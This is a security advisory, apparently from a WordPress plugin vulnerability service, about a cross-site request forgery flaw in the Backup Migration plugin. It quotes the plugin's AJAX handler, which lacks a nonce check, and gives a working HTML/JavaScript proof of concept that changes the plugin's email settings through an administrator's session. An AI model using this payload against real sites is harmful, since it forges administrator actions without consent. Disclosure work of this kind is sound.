17 Nov 2021

Vulnerability Details: Cross-Site Request Forgery (CSRF) in Backup Migration

Today a competing a data source on vulnerabilities in WordPress plugins, Patchstack, released a vague disclosure of a claimed vulnerability in the plugin Backup Migration, which has 20,000+ installs. The only information provided is that it is supposed to be an authenticated persistent cross-site scripting (XSS) vulnerability that was fixed in version 1.1.6 of the plugin.

The changelog entry related to that hints that there wasn’t really a vulnerability, as what it describes sounds like a lot of recent claimed vulnerabilities of this type that involve an Administrator being able to do something they are allowed to do:

Added additional sanitization for e-mail, e-mail title and directory (Thank you @Vlad Visse (Patchstack))

What we found we went to check if that suspicion was correct, is that the plugin lacks protection against cross-site request forgery (CSRF) when taking many actions. That could be combined with cross-site scripting (XSS), but in our testing we didn’t find that the claimed XSS actually existed (due to sanitization already done).

The plugin registers the function ajax() to run through WordPress AJAX functionality for users logged in to WordPress provided they are an Administrator:

102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
  if (!current_user_can('do_backups') && !in_array('administrator', (array) $user->roles)) return;
 
  // Include our cool banner
  include_once BMI_INCLUDES . '/banner/misc.php';
 
  // Review banner
  if (!is_dir(WP_PLUGIN_DIR . '/backup-backup-pro')) {
	if (!(class_exists('Inisev\Subs\Inisev_Review') || class_exists('Inisev_Review'))) require_once BMI_ROOT_DIR . '/modules/review/review.php';
	$review_banner = new \Inisev\Subs\Inisev_Review(BMI_ROOT_FILE, BMI_ROOT_DIR, 'backup-backup', 'Backup & Migration', 'http://bit.ly/3vdk45L', 'backup-migration');
  }
 
  // POST Logic
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
 
	// Register AJAX Handler
	add_action('wp_ajax_backup_migration', [&$this, 'ajax']);

That function doesn’t include a nonce check, which prevents CSRF, before taking various actions:

201
202
203
204
205
206
207
208
209
210
211
212
213
214
public function ajax($cli = false) {
  if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') {
	if ((isset($_POST['token']) && $_POST['token'] == 'bmi' && isset($_POST['f']) && is_admin()) || $cli) {
	  try {
 
		// Extend execution time
		// $exectime = intval(ini_get('max_execution_time'));
		// if ($exectime < 16000 && $exectime != 0) set_time_limit(16000); if (!headers_sent()) { @ignore_user_abort(true); @set_time_limit(16000); @ini_set('max_execution_time', '259200'); @ini_set('max_input_time', '259200'); @ini_set('session.gc_maxlifetime', '1200'); } // May cause issues with auto login // if (strlen(session_id()) > 0) session_write_close();
 
		register_shutdown_function([$this, 'execution_shutdown']);
 
		// Require AJAX Handler
		require_once BMI_INCLUDES . '/ajax.php';
		$handler = new BMI_Ajax();

We have notified the developer of that.

Proof of Concept

The following proof will change the email and email_title settings of the plugin, when logged in to WordPress as an Administrator.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", 'http://[path to WordPress]/wp-admin/admin-ajax.php?action=backup_migration', true);
xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("token=bmi&f=save-other-options&email=proof@concept.com&email_title=proof of concept");
</script>
</body>
</html>

Plugin Security Scorecard Grade for Backup Migration

Checked on February 26, 2025
F

See issues causing the plugin to get less than A+ grade

Leave a Reply

Your email address will not be published.